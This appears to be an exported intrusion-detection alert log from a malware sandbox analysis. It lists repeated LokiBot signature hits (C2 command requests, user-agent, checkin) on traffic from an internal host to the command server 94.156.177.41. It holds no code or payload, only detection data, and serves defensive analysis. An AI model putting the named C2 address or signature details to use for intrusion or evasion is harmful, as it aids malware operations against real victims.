2024-11-20T07:57:00.796820+0100	2024313	1	Malware Command and Control Activity Detected	192.168.2.22	49170	94.156.177.41	80	TCP
2024-11-20T07:57:01.712250+0100	2024313	1	Malware Command and Control Activity Detected	192.168.2.22	49171	94.156.177.41	80	TCP
2024-11-20T07:57:02.731919+0100	2024313	1	Malware Command and Control Activity Detected	192.168.2.22	49172	94.156.177.41	80	TCP
2024-11-20T07:57:03.741633+0100	2024313	1	Malware Command and Control Activity Detected	192.168.2.22	49173	94.156.177.41	80	TCP
2024-11-20T07:57:05.310719+0100	2024313	1	Malware Command and Control Activity Detected	192.168.2.22	49174	94.156.177.41	80	TCP
2024-11-20T07:57:06.374526+0100	2024313	1	Malware Command and Control Activity Detected	192.168.2.22	49176	94.156.177.41	80	TCP
2024-11-20T07:57:07.917653+0100	2024313	1	Malware Command and Control Activity Detected	192.168.2.22	49177	94.156.177.41	80	TCP
2024-11-20T07:57:09.108399+0100	2024313	1	Malware Command and Control Activity Detected	192.168.2.22	49178	94.156.177.41	80	TCP
2024-11-20T07:57:10.035512+0100	2024313	1	Malware Command and Control Activity Detected	192.168.2.22	49182	94.156.177.41	80	TCP
2024-11-20T07:57:11.261515+0100	2024313	1	Malware Command and Control Activity Detected	192.168.2.22	49183	94.156.177.41	80	TCP
2024-11-20T07:57:12.155460+0100	2024313	1	Malware Command and Control Activity Detected	192.168.2.22	49185	94.156.177.41	80	TCP
2024-11-20T07:57:13.065121+0100	2024313	1	Malware Command and Control Activity Detected	192.168.2.22	49186	94.156.177.41	80	TCP
2024-11-20T07:57:14.190184+0100	2024313	1	Malware Command and Control Activity Detected	192.168.2.22	49187	94.156.177.41	80	TCP
2024-11-20T07:57:15.539350+0100	2024313	1	Malware Command and Control Activity Detected	192.168.2.22	49188	94.156.177.41	80	TCP
2024-11-20T07:57:16.455575+0100	2024313	1	Malware Command and Control Activity Detected	192.168.2.22	49189	94.156.177.41	80	TCP
2024-11-20T07:57:17.347428+0100	2024313	1	Malware Command and Control Activity Detected	192.168.2.22	49190	94.156.177.41	80	TCP
2024-11-20T07:57:18.217076+0100	2024313	1	Malware Command and Control Activity Detected	192.168.2.22	49191	94.156.177.41	80	TCP
2024-11-20T07:57:19.096338+0100	2024313	1	Malware Command and Control Activity Detected	192.168.2.22	49192	94.156.177.41	80	TCP
2024-11-20T07:57:20.092497+0100	2024313	1	Malware Command and Control Activity Detected	192.168.2.22	49193	94.156.177.41	80	TCP
2024-11-20T07:57:21.192076+0100	2024313	1	Malware Command and Control Activity Detected	192.168.2.22	49194	94.156.177.41	80	TCP
2024-11-20T07:57:25.322789+0100	2024313	1	Malware Command and Control Activity Detected	192.168.2.22	49195	94.156.177.41	80	TCP
2024-11-20T07:57:26.325588+0100	2024313	1	Malware Command and Control Activity Detected	192.168.2.22	49196	94.156.177.41	80	TCP
2024-11-20T07:57:27.207355+0100	2024313	1	Malware Command and Control Activity Detected	192.168.2.22	49197	94.156.177.41	80	TCP
2024-11-20T07:57:28.068992+0100	2024313	1	Malware Command and Control Activity Detected	192.168.2.22	49198	94.156.177.41	80	TCP
2024-11-20T07:57:28.977622+0100	2024313	1	Malware Command and Control Activity Detected	192.168.2.22	49199	94.156.177.41	80	TCP
2024-11-20T07:57:29.974567+0100	2024313	1	Malware Command and Control Activity Detected	192.168.2.22	49200	94.156.177.41	80	TCP
2024-11-20T07:57:30.837963+0100	2024313	1	Malware Command and Control Activity Detected	192.168.2.22	49201	94.156.177.41	80	TCP
2024-11-20T07:57:31.706612+0100	2024313	1	Malware Command and Control Activity Detected	192.168.2.22	49202	94.156.177.41	80	TCP
2024-11-20T07:57:32.784000+0100	2024313	1	Malware Command and Control Activity Detected	192.168.2.22	49203	94.156.177.41	80	TCP
2024-11-20T07:57:33.768266+0100	2024313	1	Malware Command and Control Activity Detected	192.168.2.22	49204	94.156.177.41	80	TCP
2024-11-20T07:57:34.637117+0100	2024313	1	Malware Command and Control Activity Detected	192.168.2.22	49205	94.156.177.41	80	TCP
2024-11-20T07:57:35.506502+0100	2024313	1	Malware Command and Control Activity Detected	192.168.2.22	49206	94.156.177.41	80	TCP
2024-11-20T07:57:36.385030+0100	2024313	1	Malware Command and Control Activity Detected	192.168.2.22	49207	94.156.177.41	80	TCP
2024-11-20T07:57:37.244067+0100	2024313	1	Malware Command and Control Activity Detected	192.168.2.22	49208	94.156.177.41	80	TCP
2024-11-20T07:57:38.096012+0100	2024313	1	Malware Command and Control Activity Detected	192.168.2.22	49209	94.156.177.41	80	TCP
2024-11-20T07:57:38.955955+0100	2024313	1	Malware Command and Control Activity Detected	192.168.2.22	49210	94.156.177.41	80	TCP
2024-11-20T07:57:39.954333+0100	2024313	1	Malware Command and Control Activity Detected	192.168.2.22	49211	94.156.177.41	80	TCP
2024-11-20T07:57:40.816303+0100	2024313	1	Malware Command and Control Activity Detected	192.168.2.22	49212	94.156.177.41	80	TCP
2024-11-20T07:57:41.675988+0100	2024313	1	Malware Command and Control Activity Detected	192.168.2.22	49213	94.156.177.41	80	TCP
2024-11-20T07:57:42.543644+0100	2024313	1	Malware Command and Control Activity Detected	192.168.2.22	49214	94.156.177.41	80	TCP
2024-11-20T07:57:43.545186+0100	2024313	1	Malware Command and Control Activity Detected	192.168.2.22	49215	94.156.177.41	80	TCP
2024-11-20T07:57:44.541694+0100	2024313	1	Malware Command and Control Activity Detected	192.168.2.22	49216	94.156.177.41	80	TCP
2024-11-20T07:57:45.533689+0100	2024313	1	Malware Command and Control Activity Detected	192.168.2.22	49217	94.156.177.41	80	TCP
2024-11-20T07:57:46.392082+0100	2024313	1	Malware Command and Control Activity Detected	192.168.2.22	49218	94.156.177.41	80	TCP
2024-11-20T07:57:47.435298+0100	2024313	1	Malware Command and Control Activity Detected	192.168.2.22	49219	94.156.177.41	80	TCP
2024-11-20T07:57:48.350376+0100	2024313	1	Malware Command and Control Activity Detected	192.168.2.22	49220	94.156.177.41	80	TCP
2024-11-20T07:57:49.387296+0100	2024313	1	Malware Command and Control Activity Detected	192.168.2.22	49221	94.156.177.41	80	TCP
2024-11-20T07:57:50.396869+0100	2024313	1	Malware Command and Control Activity Detected	192.168.2.22	49222	94.156.177.41	80	TCP
2024-11-20T07:57:51.400249+0100	2024313	1	Malware Command and Control Activity Detected	192.168.2.22	49223	94.156.177.41	80	TCP
2024-11-20T07:57:52.414699+0100	2024313	1	Malware Command and Control Activity Detected	192.168.2.22	49224	94.156.177.41	80	TCP
2024-11-20T07:57:53.412939+0100	2024313	1	Malware Command and Control Activity Detected	192.168.2.22	49225	94.156.177.41	80	TCP
2024-11-20T07:57:54.297505+0100	2024313	1	Malware Command and Control Activity Detected	192.168.2.22	49226	94.156.177.41	80	TCP
2024-11-20T07:57:55.163739+0100	2024313	1	Malware Command and Control Activity Detected	192.168.2.22	49227	94.156.177.41	80	TCP
2024-11-20T07:57:56.037599+0100	2024313	1	Malware Command and Control Activity Detected	192.168.2.22	49228	94.156.177.41	80	TCP
2024-11-20T07:57:56.912319+0100	2024313	1	Malware Command and Control Activity Detected	192.168.2.22	49229	94.156.177.41	80	TCP
2024-11-20T07:57:57.913305+0100	2024313	1	Malware Command and Control Activity Detected	192.168.2.22	49230	94.156.177.41	80	TCP
2024-11-20T07:57:58.907092+0100	2024313	1	Malware Command and Control Activity Detected	192.168.2.22	49231	94.156.177.41	80	TCP
2024-11-20T07:58:00.178852+0100	2024313	1	Malware Command and Control Activity Detected	192.168.2.22	49232	94.156.177.41	80	TCP
2024-11-20T07:58:01.249409+0100	2024313	1	Malware Command and Control Activity Detected	192.168.2.22	49233	94.156.177.41	80	TCP
2024-11-20T07:58:02.252446+0100	2024313	1	Malware Command and Control Activity Detected	192.168.2.22	49234	94.156.177.41	80	TCP
2024-11-20T07:58:03.143133+0100	2024313	1	Malware Command and Control Activity Detected	192.168.2.22	49235	94.156.177.41	80	TCP
2024-11-20T07:58:04.012582+0100	2024313	1	Malware Command and Control Activity Detected	192.168.2.22	49236	94.156.177.41	80	TCP
2024-11-20T07:58:05.015654+0100	2024313	1	Malware Command and Control Activity Detected	192.168.2.22	49237	94.156.177.41	80	TCP
2024-11-20T07:58:05.888261+0100	2024313	1	Malware Command and Control Activity Detected	192.168.2.22	49238	94.156.177.41	80	TCP
2024-11-20T07:58:06.878837+0100	2024313	1	Malware Command and Control Activity Detected	192.168.2.22	49239	94.156.177.41	80	TCP
2024-11-20T07:58:07.903785+0100	2024313	1	Malware Command and Control Activity Detected	192.168.2.22	49240	94.156.177.41	80	TCP
2024-11-20T07:58:08.914515+0100	2024313	1	Malware Command and Control Activity Detected	192.168.2.22	49241	94.156.177.41	80	TCP
2024-11-20T07:58:09.790944+0100	2024313	1	Malware Command and Control Activity Detected	192.168.2.22	49242	94.156.177.41	80	TCP
2024-11-20T07:58:10.690343+0100	2024313	1	Malware Command and Control Activity Detected	192.168.2.22	49243	94.156.177.41	80	TCP
2024-11-20T07:58:11.687264+0100	2024313	1	Malware Command and Control Activity Detected	192.168.2.22	49244	94.156.177.41	80	TCP
2024-11-20T07:58:12.561533+0100	2024313	1	Malware Command and Control Activity Detected	192.168.2.22	49245	94.156.177.41	80	TCP
2024-11-20T07:58:13.441956+0100	2024313	1	Malware Command and Control Activity Detected	192.168.2.22	49246	94.156.177.41	80	TCP
2024-11-20T07:58:14.313214+0100	2024313	1	Malware Command and Control Activity Detected	192.168.2.22	49247	94.156.177.41	80	TCP
2024-11-20T07:58:15.160454+0100	2024313	1	Malware Command and Control Activity Detected	192.168.2.22	49248	94.156.177.41	80	TCP

ET MALWARE LokiBot Request for C2 Commands Detected M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-20T07:57:00.796820+0100	2024318	1	Malware Command and Control Activity Detected	192.168.2.22	49170	94.156.177.41	80	TCP
2024-11-20T07:57:01.712250+0100	2024318	1	Malware Command and Control Activity Detected	192.168.2.22	49171	94.156.177.41	80	TCP
2024-11-20T07:57:02.731919+0100	2024318	1	Malware Command and Control Activity Detected	192.168.2.22	49172	94.156.177.41	80	TCP
2024-11-20T07:57:03.741633+0100	2024318	1	Malware Command and Control Activity Detected	192.168.2.22	49173	94.156.177.41	80	TCP
2024-11-20T07:57:05.310719+0100	2024318	1	Malware Command and Control Activity Detected	192.168.2.22	49174	94.156.177.41	80	TCP
2024-11-20T07:57:06.374526+0100	2024318	1	Malware Command and Control Activity Detected	192.168.2.22	49176	94.156.177.41	80	TCP
2024-11-20T07:57:07.917653+0100	2024318	1	Malware Command and Control Activity Detected	192.168.2.22	49177	94.156.177.41	80	TCP
2024-11-20T07:57:09.108399+0100	2024318	1	Malware Command and Control Activity Detected	192.168.2.22	49178	94.156.177.41	80	TCP
2024-11-20T07:57:10.035512+0100	2024318	1	Malware Command and Control Activity Detected	192.168.2.22	49182	94.156.177.41	80	TCP
2024-11-20T07:57:11.261515+0100	2024318	1	Malware Command and Control Activity Detected	192.168.2.22	49183	94.156.177.41	80	TCP
2024-11-20T07:57:12.155460+0100	2024318	1	Malware Command and Control Activity Detected	192.168.2.22	49185	94.156.177.41	80	TCP
2024-11-20T07:57:13.065121+0100	2024318	1	Malware Command and Control Activity Detected	192.168.2.22	49186	94.156.177.41	80	TCP
2024-11-20T07:57:14.190184+0100	2024318	1	Malware Command and Control Activity Detected	192.168.2.22	49187	94.156.177.41	80	TCP
2024-11-20T07:57:15.539350+0100	2024318	1	Malware Command and Control Activity Detected	192.168.2.22	49188	94.156.177.41	80	TCP
2024-11-20T07:57:16.455575+0100	2024318	1	Malware Command and Control Activity Detected	192.168.2.22	49189	94.156.177.41	80	TCP
2024-11-20T07:57:17.347428+0100	2024318	1	Malware Command and Control Activity Detected	192.168.2.22	49190	94.156.177.41	80	TCP
2024-11-20T07:57:18.217076+0100	2024318	1	Malware Command and Control Activity Detected	192.168.2.22	49191	94.156.177.41	80	TCP
2024-11-20T07:57:19.096338+0100	2024318	1	Malware Command and Control Activity Detected	192.168.2.22	49192	94.156.177.41	80	TCP
2024-11-20T07:57:20.092497+0100	2024318	1	Malware Command and Control Activity Detected	192.168.2.22	49193	94.156.177.41	80	TCP
2024-11-20T07:57:21.192076+0100	2024318	1	Malware Command and Control Activity Detected	192.168.2.22	49194	94.156.177.41	80	TCP
2024-11-20T07:57:25.322789+0100	2024318	1	Malware Command and Control Activity Detected	192.168.2.22	49195	94.156.177.41	80	TCP
2024-11-20T07:57:26.325588+0100	2024318	1	Malware Command and Control Activity Detected	192.168.2.22	49196	94.156.177.41	80	TCP
2024-11-20T07:57:27.207355+0100	2024318	1	Malware Command and Control Activity Detected	192.168.2.22	49197	94.156.177.41	80	TCP
2024-11-20T07:57:28.068992+0100	2024318	1	Malware Command and Control Activity Detected	192.168.2.22	49198	94.156.177.41	80	TCP
2024-11-20T07:57:28.977622+0100	2024318	1	Malware Command and Control Activity Detected	192.168.2.22	49199	94.156.177.41	80	TCP
2024-11-20T07:57:29.974567+0100	2024318	1	Malware Command and Control Activity Detected	192.168.2.22	49200	94.156.177.41	80	TCP
2024-11-20T07:57:30.837963+0100	2024318	1	Malware Command and Control Activity Detected	192.168.2.22	49201	94.156.177.41	80	TCP
2024-11-20T07:57:31.706612+0100	2024318	1	Malware Command and Control Activity Detected	192.168.2.22	49202	94.156.177.41	80	TCP
2024-11-20T07:57:32.784000+0100	2024318	1	Malware Command and Control Activity Detected	192.168.2.22	49203	94.156.177.41	80	TCP
2024-11-20T07:57:33.768266+0100	2024318	1	Malware Command and Control Activity Detected	192.168.2.22	49204	94.156.177.41	80	TCP
2024-11-20T07:57:34.637117+0100	2024318	1	Malware Command and Control Activity Detected	192.168.2.22	49205	94.156.177.41	80	TCP
2024-11-20T07:57:35.506502+0100	2024318	1	Malware Command and Control Activity Detected	192.168.2.22	49206	94.156.177.41	80	TCP
2024-11-20T07:57:36.385030+0100	2024318	1	Malware Command and Control Activity Detected	192.168.2.22	49207	94.156.177.41	80	TCP
2024-11-20T07:57:37.244067+0100	2024318	1	Malware Command and Control Activity Detected	192.168.2.22	49208	94.156.177.41	80	TCP
2024-11-20T07:57:38.096012+0100	2024318	1	Malware Command and Control Activity Detected	192.168.2.22	49209	94.156.177.41	80	TCP
2024-11-20T07:57:38.955955+0100	2024318	1	Malware Command and Control Activity Detected	192.168.2.22	49210	94.156.177.41	80	TCP
2024-11-20T07:57:39.954333+0100	2024318	1	Malware Command and Control Activity Detected	192.168.2.22	49211	94.156.177.41	80	TCP
2024-11-20T07:57:40.816303+0100	2024318	1	Malware Command and Control Activity Detected	192.168.2.22	49212	94.156.177.41	80	TCP
2024-11-20T07:57:41.675988+0100	2024318	1	Malware Command and Control Activity Detected	192.168.2.22	49213	94.156.177.41	80	TCP
2024-11-20T07:57:42.543644+0100	2024318	1	Malware Command and Control Activity Detected	192.168.2.22	49214	94.156.177.41	80	TCP
2024-11-20T07:57:43.545186+0100	2024318	1	Malware Command and Control Activity Detected	192.168.2.22	49215	94.156.177.41	80	TCP
2024-11-20T07:57:44.541694+0100	2024318	1	Malware Command and Control Activity Detected	192.168.2.22	49216	94.156.177.41	80	TCP
2024-11-20T07:57:45.533689+0100	2024318	1	Malware Command and Control Activity Detected	192.168.2.22	49217	94.156.177.41	80	TCP
2024-11-20T07:57:46.392082+0100	2024318	1	Malware Command and Control Activity Detected	192.168.2.22	49218	94.156.177.41	80	TCP
2024-11-20T07:57:47.435298+0100	2024318	1	Malware Command and Control Activity Detected	192.168.2.22	49219	94.156.177.41	80	TCP
2024-11-20T07:57:48.350376+0100	2024318	1	Malware Command and Control Activity Detected	192.168.2.22	49220	94.156.177.41	80	TCP
2024-11-20T07:57:49.387296+0100	2024318	1	Malware Command and Control Activity Detected	192.168.2.22	49221	94.156.177.41	80	TCP
2024-11-20T07:57:50.396869+0100	2024318	1	Malware Command and Control Activity Detected	192.168.2.22	49222	94.156.177.41	80	TCP
2024-11-20T07:57:51.400249+0100	2024318	1	Malware Command and Control Activity Detected	192.168.2.22	49223	94.156.177.41	80	TCP
2024-11-20T07:57:52.414699+0100	2024318	1	Malware Command and Control Activity Detected	192.168.2.22	49224	94.156.177.41	80	TCP
2024-11-20T07:57:53.412939+0100	2024318	1	Malware Command and Control Activity Detected	192.168.2.22	49225	94.156.177.41	80	TCP
2024-11-20T07:57:54.297505+0100	2024318	1	Malware Command and Control Activity Detected	192.168.2.22	49226	94.156.177.41	80	TCP
2024-11-20T07:57:55.163739+0100	2024318	1	Malware Command and Control Activity Detected	192.168.2.22	49227	94.156.177.41	80	TCP
2024-11-20T07:57:56.037599+0100	2024318	1	Malware Command and Control Activity Detected	192.168.2.22	49228	94.156.177.41	80	TCP
2024-11-20T07:57:56.912319+0100	2024318	1	Malware Command and Control Activity Detected	192.168.2.22	49229	94.156.177.41	80	TCP
2024-11-20T07:57:57.913305+0100	2024318	1	Malware Command and Control Activity Detected	192.168.2.22	49230	94.156.177.41	80	TCP
2024-11-20T07:57:58.907092+0100	2024318	1	Malware Command and Control Activity Detected	192.168.2.22	49231	94.156.177.41	80	TCP
2024-11-20T07:58:00.178852+0100	2024318	1	Malware Command and Control Activity Detected	192.168.2.22	49232	94.156.177.41	80	TCP
2024-11-20T07:58:01.249409+0100	2024318	1	Malware Command and Control Activity Detected	192.168.2.22	49233	94.156.177.41	80	TCP
2024-11-20T07:58:02.252446+0100	2024318	1	Malware Command and Control Activity Detected	192.168.2.22	49234	94.156.177.41	80	TCP
2024-11-20T07:58:03.143133+0100	2024318	1	Malware Command and Control Activity Detected	192.168.2.22	49235	94.156.177.41	80	TCP
2024-11-20T07:58:04.012582+0100	2024318	1	Malware Command and Control Activity Detected	192.168.2.22	49236	94.156.177.41	80	TCP
2024-11-20T07:58:05.015654+0100	2024318	1	Malware Command and Control Activity Detected	192.168.2.22	49237	94.156.177.41	80	TCP
2024-11-20T07:58:05.888261+0100	2024318	1	Malware Command and Control Activity Detected	192.168.2.22	49238	94.156.177.41	80	TCP
2024-11-20T07:58:06.878837+0100	2024318	1	Malware Command and Control Activity Detected	192.168.2.22	49239	94.156.177.41	80	TCP
2024-11-20T07:58:07.903785+0100	2024318	1	Malware Command and Control Activity Detected	192.168.2.22	49240	94.156.177.41	80	TCP
2024-11-20T07:58:08.914515+0100	2024318	1	Malware Command and Control Activity Detected	192.168.2.22	49241	94.156.177.41	80	TCP
2024-11-20T07:58:09.790944+0100	2024318	1	Malware Command and Control Activity Detected	192.168.2.22	49242	94.156.177.41	80	TCP
2024-11-20T07:58:10.690343+0100	2024318	1	Malware Command and Control Activity Detected	192.168.2.22	49243	94.156.177.41	80	TCP
2024-11-20T07:58:11.687264+0100	2024318	1	Malware Command and Control Activity Detected	192.168.2.22	49244	94.156.177.41	80	TCP
2024-11-20T07:58:12.561533+0100	2024318	1	Malware Command and Control Activity Detected	192.168.2.22	49245	94.156.177.41	80	TCP
2024-11-20T07:58:13.441956+0100	2024318	1	Malware Command and Control Activity Detected	192.168.2.22	49246	94.156.177.41	80	TCP
2024-11-20T07:58:14.313214+0100	2024318	1	Malware Command and Control Activity Detected	192.168.2.22	49247	94.156.177.41	80	TCP
2024-11-20T07:58:15.160454+0100	2024318	1	Malware Command and Control Activity Detected	192.168.2.22	49248	94.156.177.41	80	TCP

ET MALWARE LokiBot User-Agent (Charon/Inferno)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-20T07:56:57.248279+0100	2021641	1	A Network Trojan was detected	192.168.2.22	49168	94.156.177.41	80	TCP
2024-11-20T07:56:59.162067+0100	2021641	1	A Network Trojan was detected	192.168.2.22	49169	94.156.177.41	80	TCP
2024-11-20T07:57:00.038068+0100	2021641	1	A Network Trojan was detected	192.168.2.22	49170	94.156.177.41	80	TCP
2024-11-20T07:57:00.985981+0100	2021641	1	A Network Trojan was detected	192.168.2.22	49171	94.156.177.41	80	TCP
2024-11-20T07:57:01.990103+0100	2021641	1	A Network Trojan was detected	192.168.2.22	49172	94.156.177.41	80	TCP
2024-11-20T07:57:03.028263+0100	2021641	1	A Network Trojan was detected	192.168.2.22	49173	94.156.177.41	80	TCP
2024-11-20T07:57:04.458084+0100	2021641	1	A Network Trojan was detected	192.168.2.22	49174	94.156.177.41	80	TCP
2024-11-20T07:57:05.513581+0100	2021641	1	A Network Trojan was detected	192.168.2.22	49176	94.156.177.41	80	TCP
2024-11-20T07:57:07.053237+0100	2021641	1	A Network Trojan was detected	192.168.2.22	49177	94.156.177.41	80	TCP
2024-11-20T07:57:08.400152+0100	2021641	1	A Network Trojan was detected	192.168.2.22	49178	94.156.177.41	80	TCP
2024-11-20T07:57:09.288353+0100	2021641	1	A Network Trojan was detected	192.168.2.22	49182	94.156.177.41	80	TCP
2024-11-20T07:57:10.533829+0100	2021641	1	A Network Trojan was detected	192.168.2.22	49183	94.156.177.41	80	TCP
2024-11-20T07:57:11.427592+0100	2021641	1	A Network Trojan was detected	192.168.2.22	49185	94.156.177.41	80	TCP
2024-11-20T07:57:12.359101+0100	2021641	1	A Network Trojan was detected	192.168.2.22	49186	94.156.177.41	80	TCP
2024-11-20T07:57:13.469417+0100	2021641	1	A Network Trojan was detected	192.168.2.22	49187	94.156.177.41	80	TCP
2024-11-20T07:57:14.821226+0100	2021641	1	A Network Trojan was detected	192.168.2.22	49188	94.156.177.41	80	TCP
2024-11-20T07:57:15.719445+0100	2021641	1	A Network Trojan was detected	192.168.2.22	49189	94.156.177.41	80	TCP
2024-11-20T07:57:16.626398+0100	2021641	1	A Network Trojan was detected	192.168.2.22	49190	94.156.177.41	80	TCP
2024-11-20T07:57:17.507138+0100	2021641	1	A Network Trojan was detected	192.168.2.22	49191	94.156.177.41	80	TCP
2024-11-20T07:57:18.365734+0100	2021641	1	A Network Trojan was detected	192.168.2.22	49192	94.156.177.41	80	TCP
2024-11-20T07:57:19.253733+0100	2021641	1	A Network Trojan was detected	192.168.2.22	49193	94.156.177.41	80	TCP
2024-11-20T07:57:20.473746+0100	2021641	1	A Network Trojan was detected	192.168.2.22	49194	94.156.177.41	80	TCP
2024-11-20T07:57:21.599286+0100	2021641	1	A Network Trojan was detected	192.168.2.22	49195	94.156.177.41	80	TCP
2024-11-20T07:57:25.465376+0100	2021641	1	A Network Trojan was detected	192.168.2.22	49196	94.156.177.41	80	TCP
2024-11-20T07:57:26.474558+0100	2021641	1	A Network Trojan was detected	192.168.2.22	49197	94.156.177.41	80	TCP
2024-11-20T07:57:27.353742+0100	2021641	1	A Network Trojan was detected	192.168.2.22	49198	94.156.177.41	80	TCP
2024-11-20T07:57:28.253668+0100	2021641	1	A Network Trojan was detected	192.168.2.22	49199	94.156.177.41	80	TCP
2024-11-20T07:57:29.125788+0100	2021641	1	A Network Trojan was detected	192.168.2.22	49200	94.156.177.41	80	TCP
2024-11-20T07:57:30.114920+0100	2021641	1	A Network Trojan was detected	192.168.2.22	49201	94.156.177.41	80	TCP
2024-11-20T07:57:30.992768+0100	2021641	1	A Network Trojan was detected	192.168.2.22	49202	94.156.177.41	80	TCP
2024-11-20T07:57:32.063042+0100	2021641	1	A Network Trojan was detected	192.168.2.22	49203	94.156.177.41	80	TCP
2024-11-20T07:57:32.925555+0100	2021641	1	A Network Trojan was detected	192.168.2.22	49204	94.156.177.41	80	TCP
2024-11-20T07:57:33.906030+0100	2021641	1	A Network Trojan was detected	192.168.2.22	49205	94.156.177.41	80	TCP
2024-11-20T07:57:34.787024+0100	2021641	1	A Network Trojan was detected	192.168.2.22	49206	94.156.177.41	80	TCP
2024-11-20T07:57:35.655030+0100	2021641	1	A Network Trojan was detected	192.168.2.22	49207	94.156.177.41	80	TCP
2024-11-20T07:57:36.530041+0100	2021641	1	A Network Trojan was detected	192.168.2.22	49208	94.156.177.41	80	TCP
2024-11-20T07:57:37.385969+0100	2021641	1	A Network Trojan was detected	192.168.2.22	49209	94.156.177.41	80	TCP
2024-11-20T07:57:38.245541+0100	2021641	1	A Network Trojan was detected	192.168.2.22	49210	94.156.177.41	80	TCP
2024-11-20T07:57:39.100304+0100	2021641	1	A Network Trojan was detected	192.168.2.22	49211	94.156.177.41	80	TCP
2024-11-20T07:57:40.099524+0100	2021641	1	A Network Trojan was detected	192.168.2.22	49212	94.156.177.41	80	TCP
2024-11-20T07:57:40.957522+0100	2021641	1	A Network Trojan was detected	192.168.2.22	49213	94.156.177.41	80	TCP
2024-11-20T07:57:41.834157+0100	2021641	1	A Network Trojan was detected	192.168.2.22	49214	94.156.177.41	80	TCP
2024-11-20T07:57:42.690842+0100	2021641	1	A Network Trojan was detected	192.168.2.22	49215	94.156.177.41	80	TCP
2024-11-20T07:57:43.687015+0100	2021641	1	A Network Trojan was detected	192.168.2.22	49216	94.156.177.41	80	TCP
2024-11-20T07:57:44.686743+0100	2021641	1	A Network Trojan was detected	192.168.2.22	49217	94.156.177.41	80	TCP
2024-11-20T07:57:45.683162+0100	2021641	1	A Network Trojan was detected	192.168.2.22	49218	94.156.177.41	80	TCP
2024-11-20T07:57:46.572052+0100	2021641	1	A Network Trojan was detected	192.168.2.22	49219	94.156.177.41	80	TCP
2024-11-20T07:57:47.625431+0100	2021641	1	A Network Trojan was detected	192.168.2.22	49220	94.156.177.41	80	TCP
2024-11-20T07:57:48.537909+0100	2021641	1	A Network Trojan was detected	192.168.2.22	49221	94.156.177.41	80	TCP
2024-11-20T07:57:49.537253+0100	2021641	1	A Network Trojan was detected	192.168.2.22	49222	94.156.177.41	80	TCP
2024-11-20T07:57:50.541403+0100	2021641	1	A Network Trojan was detected	192.168.2.22	49223	94.156.177.41	80	TCP
2024-11-20T07:57:51.550185+0100	2021641	1	A Network Trojan was detected	192.168.2.22	49224	94.156.177.41	80	TCP
2024-11-20T07:57:52.571474+0100	2021641	1	A Network Trojan was detected	192.168.2.22	49225	94.156.177.41	80	TCP
2024-11-20T07:57:53.565464+0100	2021641	1	A Network Trojan was detected	192.168.2.22	49226	94.156.177.41	80	TCP
2024-11-20T07:57:54.459148+0100	2021641	1	A Network Trojan was detected	192.168.2.22	49227	94.156.177.41	80	TCP
2024-11-20T07:57:55.316399+0100	2021641	1	A Network Trojan was detected	192.168.2.22	49228	94.156.177.41	80	TCP
2024-11-20T07:57:56.191793+0100	2021641	1	A Network Trojan was detected	192.168.2.22	49229	94.156.177.41	80	TCP
2024-11-20T07:57:57.056887+0100	2021641	1	A Network Trojan was detected	192.168.2.22	49230	94.156.177.41	80	TCP
2024-11-20T07:57:58.063832+0100	2021641	1	A Network Trojan was detected	192.168.2.22	49231	94.156.177.41	80	TCP
2024-11-20T07:57:59.315019+0100	2021641	1	A Network Trojan was detected	192.168.2.22	49232	94.156.177.41	80	TCP
2024-11-20T07:58:00.406324+0100	2021641	1	A Network Trojan was detected	192.168.2.22	49233	94.156.177.41	80	TCP
2024-11-20T07:58:01.402550+0100	2021641	1	A Network Trojan was detected	192.168.2.22	49234	94.156.177.41	80	TCP
2024-11-20T07:58:02.410939+0100	2021641	1	A Network Trojan was detected	192.168.2.22	49235	94.156.177.41	80	TCP
2024-11-20T07:58:03.281828+0100	2021641	1	A Network Trojan was detected	192.168.2.22	49236	94.156.177.41	80	TCP
2024-11-20T07:58:04.153651+0100	2021641	1	A Network Trojan was detected	192.168.2.22	49237	94.156.177.41	80	TCP
2024-11-20T07:58:05.170720+0100	2021641	1	A Network Trojan was detected	192.168.2.22	49238	94.156.177.41	80	TCP
2024-11-20T07:58:06.042036+0100	2021641	1	A Network Trojan was detected	192.168.2.22	49239	94.156.177.41	80	TCP
2024-11-20T07:58:07.032370+0100	2021641	1	A Network Trojan was detected	192.168.2.22	49240	94.156.177.41	80	TCP
2024-11-20T07:58:08.079653+0100	2021641	1	A Network Trojan was detected	192.168.2.22	49241	94.156.177.41	80	TCP
2024-11-20T07:58:09.075720+0100	2021641	1	A Network Trojan was detected	192.168.2.22	49242	94.156.177.41	80	TCP
2024-11-20T07:58:09.961207+0100	2021641	1	A Network Trojan was detected	192.168.2.22	49243	94.156.177.41	80	TCP
2024-11-20T07:58:10.842151+0100	2021641	1	A Network Trojan was detected	192.168.2.22	49244	94.156.177.41	80	TCP
2024-11-20T07:58:11.848537+0100	2021641	1	A Network Trojan was detected	192.168.2.22	49245	94.156.177.41	80	TCP
2024-11-20T07:58:12.738339+0100	2021641	1	A Network Trojan was detected	192.168.2.22	49246	94.156.177.41	80	TCP
2024-11-20T07:58:13.595288+0100	2021641	1	A Network Trojan was detected	192.168.2.22	49247	94.156.177.41	80	TCP
2024-11-20T07:58:14.448889+0100	2021641	1	A Network Trojan was detected	192.168.2.22	49248	94.156.177.41	80	TCP

ETPRO MALWARE LokiBot Checkin M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-20T07:56:57.248279+0100	2825766	1	Malware Command and Control Activity Detected	192.168.2.22	49168	94.156.177.41	80	TCP
2024-11-20T07:56:59.162067+0100	2825766	1	Malware Command and Control Activity Detected	192.168.2.22	49169	94.156.177.41	80	TCP
2024-11-20T07:57:00.038068+0100	2825766	1	Malware Command and Control Activity Detected	192.168.2.22	49170	94.156.177.41	80	TCP
2024-11-20T07:57:00.985981+0100	2825766	1	Malware Command and Control Activity Detected	192.168.2.22	49171	94.156.177.41	80	TCP
2024-11-20T07:57:01.990103+0100	2825766	1	Malware Command and Control Activity Detected	192.168.2.22	49172	94.156.177.41	80	TCP
2024-11-20T07:57:03.028263+0100	2825766	1	Malware Command and Control Activity Detected	192.168.2.22	49173	94.156.177.41	80	TCP
2024-11-20T07:57:04.458084+0100	2825766	1	Malware Command and Control Activity Detected	192.168.2.22	49174	94.156.177.41	80	TCP
2024-11-20T07:57:05.513581+0100	2825766	1	Malware Command and Control Activity Detected	192.168.2.22	49176	94.156.177.41	80	TCP
